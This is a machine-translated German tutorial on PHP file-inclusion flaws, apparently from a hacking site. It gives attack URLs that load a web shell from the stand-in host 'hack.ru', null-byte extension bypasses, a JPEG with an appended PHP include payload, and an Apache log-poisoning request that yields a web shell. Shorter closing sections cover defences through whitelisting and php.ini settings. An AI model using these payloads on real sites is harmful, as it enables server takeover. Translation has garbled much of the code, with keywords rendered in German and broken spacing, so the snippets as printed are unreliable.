This page has been robot translated, sorry for typos if any. Original content here.

PHP-Include- und Schutzmethoden



  • Globale Inklusion
  • Globaler Inklusionsschutz
  • Lokale Inklusion
  • Apache-Protokolle
  • Lokaler Einschlussschutz


  • Einführung

    Globale Inklusion

    Die gefährlichste der Schwachstellen im Web, aber leider oder zum Glück, ist in unserer Zeit äußerst selten. Für einen Angriff muss die Funktion allow_url_include aktiviert sein, dh "Ein".
    Die Sicherheitsanfälligkeit ermöglicht es einem Angreifer, beliebigen PHP-Code auf dem Server auszuführen.
    In PHP gibt es vier Funktionen zum Einfügen von Dateien in PHP-Skripte:

    * include ();
    * include_once ();
    * require ();
    * require_once ().

    Die Funktion include () enthält den Inhalt der Datei im Skript. Betrachten Sie das Beispiel eines "zweimal" anfälligen Codes:
      <? php
     
      if ( $ _GET [ 'page' ]. '.php' )
     
      {
     
      include ( $ _GET [ 'page' ]. '.php' );
     
      }}
     
      sonst
     
      {
     
      include ( $ file . '.php' );
     
      }}
     
      ?>
    
    
    Unter Verwendung der Bedingung prüfen wir, ob das Array-Element $ _GET ['page'] über die URL an den Server übergeben wird, und rufen dann die Funktion include () auf . Aufgrund der Tatsache, dass der Wert des Arrays $ _GET ['page'] mithilfe der Funktion file_exists () nicht auf Existenz überprüft wird, kann ein Angreifer einen Angriff ausführen:

    http://site.ru/index.php?page=http://hack.ru/shell Andernfalls werden wir ($ file. '. php') einschließen; Hier ist die Situation dieselbe, nur das Schreiben des Codes ist etwas anders. Die Variable $ file ist nicht
    wurde früher festgestellt und der Angreifer konnte PHP-Code aus der Ferne ausführen:
    http://site.ru/index.php?file=http://hack.ru/shell Die Funktion include_once () ist praktisch dieselbe wie include () , mit einer Ausnahme: Bevor eine Datei in das Programm aufgenommen wird, wird dies überprüft ob es früher enthalten war. Wenn die Datei bereits enthalten ist, wird der Aufruf von include_once () ignoriert. Andernfalls erfolgt die Standardeinbeziehung der Datei.

    <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    In diesem Beispiel wird der hochgeladenen Datei automatisch die Erweiterung '.gif' zugewiesen
    Es gibt zwei Möglichkeiten, die .gif-Erweiterung zu entfernen:
    1) Wenn magic_quotes_gpc = Off ist, können Sie die " Giftnull " -% 00 verwenden, die die Erweiterung abschneidet
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) auch wenn magic_quotes_gpc = On ist
    http://site.ru/index.php?file=http://hack.ru/shell.php? Die Funktion require () ähnelt include () , mit einer Ausnahme: Die durch den Parameter require () angegebene Datei ist im Skript enthalten, unabhängig vom Speicherort von require () im Skript.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    Angriff ist ähnlich, aber in diesem Fall wird die Erweiterung nicht zugeordnet:
    http://site.ru/index.php?page=http://hack.ru/shell.php Die Funktion require_once () lädt eine Datei nur einmal in das Skript.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    Angriff ist ähnlich ...

    Betrachten Sie nun eine andere Version der Aufnahme. Diesmal, was in der Datei php.ini benötigt würde
    allow_url_fopen wurde auf On gesetzt , was die Standardeinstellung ist.
    PHP-Code:
      <? php
     
      $ f = fopen ( "$ file.php" , "r" );
     
    
      while (! feof ( $ f ))
     
      {
     
      $ s = fgets ( $ f , 255 );
     
      echo $ s ;
     
      }}
     
    
      fclose ( $ f );
     
      ?>
    
    
    Aufgrund der Tatsache, dass die Variable $ file zuvor nicht definiert wurde, kann ein Angreifer einen Angriff starten:
    http://site.ru/index.php?file=http://hack.ru/shell Als Ergebnis erhalten wir wieder eine Web-Shell.

    Das nächste Beispiel verwendet die Funktion readfile ()
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    Die Funktion readfile () liest eine Datei, deren Name als Parameter an sie übergeben wird, und zeigt ihren Inhalt auf dem Bildschirm an.
    Als Ergebnis erhalten wir wieder die Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell Betrachten Sie nun diese Option:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    Mit der Funktion implode () kombinieren wir die Elemente des Arrays zu einem String und mit der Funktion file () erhalten wir den Inhalt der Datei als Array. Als Ergebnis haben wir wieder eine Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Globaler Inklusionsschutz

    Natürlich können Sie die Datei mit der Funktion file_exists () auf Existenz prüfen und unerwünschte Zeichen mit str_replace () herausfiltern , aber ich empfehle die Verwendung des switch case- Konstrukts:

      <? php
     
      globale $ Seite ;
     
      Schalter ( $ Seite )
     
      {
     
      case '' :
     
      include ( "pages / main.php" );
     
      Pause;
     
    
      case 'index' :
     
      include ( "pages / main.php" );
     
      Pause;
     
      case 'page1' :
     
      include ( "pages / folder / page1.php" );
     
      Pause;
     
      case 'page2' :
     
      include ( "pages / folder / page2.php" );
     
      Pause;
     
    
      Standard:
     
      include ( "pages / hack.php" );
     
      Pause;
     
      }}
     
      ?>
    
    
    Ich empfehle auch, die Datei php.ini zu bearbeiten :

    allow_url_include = Off // Remote-Include-Dateien verbieten
    allow_url_fopen = Off // verhindert, dass fopen Links öffnet
    register_globals = Off // Deaktiviere die Initialisierung globaler Variablen
    safe_mode = On // enable safe_mode (der Hacker hat keinen Zugriff auf / etc / passwd und dergleichen)

    Lokale Inklusion

    Keine weniger gefährliche Sicherheitslücke im Web. Ermöglicht einem Angreifer, Dateien auf dem Server einzuschließen. Viele Anfänger, die auf diesen Webcodierungsfehler stoßen, werfen Dinge weg, weil sie nicht wissen, wie sie weiter vorgehen und in welche Richtung graben sollen. Ich werde ein allgemeines Beispiel geben:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    Es ist unmöglich, global fehlzuschlagen, da die Variable $ file nach dem Verzeichnis / include / zugewiesen wird
    Was kann getan werden?

    Der Idealfall ist, wenn die Site entweder ein Forum oder eine andere Form ist, mit der Sie eine beliebige Datei mit einer beliebigen Erweiterung herunterladen können.
    Es stellt sich die Frage - warum mit irgendeiner Erweiterung? Nehmen wir zum Beispiel eine fiktive Seite, auf der es die Möglichkeit gibt, Avatare über das Forum herunterzuladen. Es gibt ein Skript im Forum, das überprüft, ob der Benutzer das Foto wirklich hochgeladen hat. Öffnen Sie die Farbe und speichern Sie ein Bild, z. B. im JPG-Format. Öffnen Sie es danach mit einem Notizblock und schreiben Sie nach dem Bildcode <? Php include ("http://hack.ru/shell.php"); ?> Als Ergebnis erhalten wir ungefähr Folgendes:
    			
     ya shaa jfif ya c           		 
     
    
                     $. '  ", # (7), 01444 '9 = 82 <.342яЫ C. 			  
    
      2!  ! 2222222222222222222222222222222222222222222222222 22222я 22 6 6 "ЯД                    	
      Gift µ}! 1A Qa "q 2Ѓ'Ў # B ± B RСр $ 3br‚	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ „… † ‡ € ‰“' “• –—˜ ™ љўЈ¤Ґ¦§ё © ЄІіґµ¶ · ё№єВГДЖЖИЙКТУФХЦЧШЩЬбвдддзжшшштъшдшчшдш                       	
      Gift µ w! 1 AQ aq "2Ѓ B'Ў ± B # 3Rр brС
    
      $ 4b% mit & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz ‚‚ ... † ‡ € ‰ ‚'” ”  ч (ўў
     (ўў
     (ўў
     (ўў
     (ўў
     (ўў
     (ўў
     (ўў
    
     (ўў
     (ўў
     (ўў
     (ўў
     (ўў
     (ўў
     (ўў
     (я €? BOX
     <? php include ("http://hack.ru/shell.php");  ?>
    
    Jetzt kann ein solches Bild in das Forum hochgeladen werden und wird wie ein Bild wahrgenommen
    Zurück zum Thema Expansion. Warum ist jemand für uns geeignet? Tatsache ist, dass die include () -Funktion
    Lädt Code aus einer Datei in eine ausführbare Datei. Hier ist ein Beispiel:
    http://www.site.com/index.php?include=../forum/images/shell.jpg Infolgedessen enthält der Code <? php include ("http://hack.ru/) shell.php "); ?>

    Apache-Protokolle

    Wie Sie wissen, speichert Apache die Protokolldateien httpd-access.log und httpd-error.log sowie alle Anforderungen
    Natürlich protokolliert und in die entsprechenden Dateien geschrieben. Hier ist ihre ungefähre Position:
     /logs/error.log
     /logs/access.log
    
     / logs / error_log
     / logs / access_log
    
     / var / log / error_log 
     / var / log / access_log
     /var/log/error.log 
     /var/log/access.log
    
     / var / www / logs / error_log
     /var/www/logs/error.log
    
     / var / www / logs / access_log
     /var/www/logs/access.log
    
     / var / log / apache / error_log
     /var/log/apache/error.log
     / var / log / apache / access_log
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / var / log / httpd / error_log
     / var / log / httpd / access_log
    
     /apache/logs/error.log
     /apache/logs/access.log
     / apache / logs / error_log
     / apache / logs / access_log
    
     / usr / local / apache / logs / error_log
     /usr/local/apache/logs/error.log
    
     / usr / local / apache / logs / access_log
     /usr/local/apache/logs/access.log
    
     / home / www / logs / error_log
     /home/www/logs/error.log
     / home / www / logs / access_log
     /home/www/logs/access.log
    
    Ich werde ein Beispiel für einen lokalen Host geben, ich denke, es wird für viele viel klarer sein. Mit InetCrack sende ich ein Paket wie folgt :
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    Der Paket-Header wird in die Patch-Protokolle geschrieben unter:
    Z:\usr\local\apache\logs\access.log Das heißt, diese Zeile wird in diese Datei geschrieben:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 Ich denke, der Punkt ist klar. Wir können ihn nur täuschen:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log Und holen Sie sich eine Web-Shell :) :)

    Lokaler Einschlussschutz

    Hier ist ein kleines Beispiel, wie Sie sich zuverlässig schützen können:
      <? php
     
    


    Funktion stripslashes_for_array (& $ array )
    {
    zurücksetzen ( $ array );
    while (Liste ( $ key , $ val ) = jedes ( $ array ))
    {
    if ( is_string ( $ val )) $ array [ $ key ] = Stripslashes ( $ val );
    elseif ( is_array ( $ val )) $ array [ $ key ] = stripslashes_for_array ( $ val );
    }}
    return $ array ;
    }}

    if (! get_magic_quotes_gpc ())
    {
    stripslashes_for_array ( $ _POST );
    stripslashes_for_array ( $ _GET );
    }}

    if (isset ( $ _GET [ 'file' ])) $ file = $ _GET [ 'file' ];
    sonst
    {
    if (isset ( $ _POST [ 'file' ])) $ file = $ _POST [ 'file' ]; sonst $ file = '' ; }} $ file = str_replace ( '/' , '' , $ file ); $ file = str_replace ( '.' , '' , $ file ); if (! file_exists ( "include" . '/' . $ file . '.php' ) || $ file == 'index' ) { $ file = 'news' ; }} include ( "include" . '/' . $ file . '.php' ); ?>

    Also, was ist hier los? Jedes Element des Arrays wird von der Funktion stripslashes () überprüft. Sie tötet Backslashes. Als nächstes prüfen wir, ob der Wert des Array-Elements festgelegt ist oder nicht. Filtern Sie ungültige Zeichen (' / ', ' . ') Mit str_replace () heraus . Wenn die Datei nicht vorhanden ist (wir überprüfen dies mit der Funktion file_exists () ), weisen wir den Wert der Variablen $ file = 'news' zu. In anderen Fällen (wenn die Datei vorhanden ist) fügen Sie sie hinzu.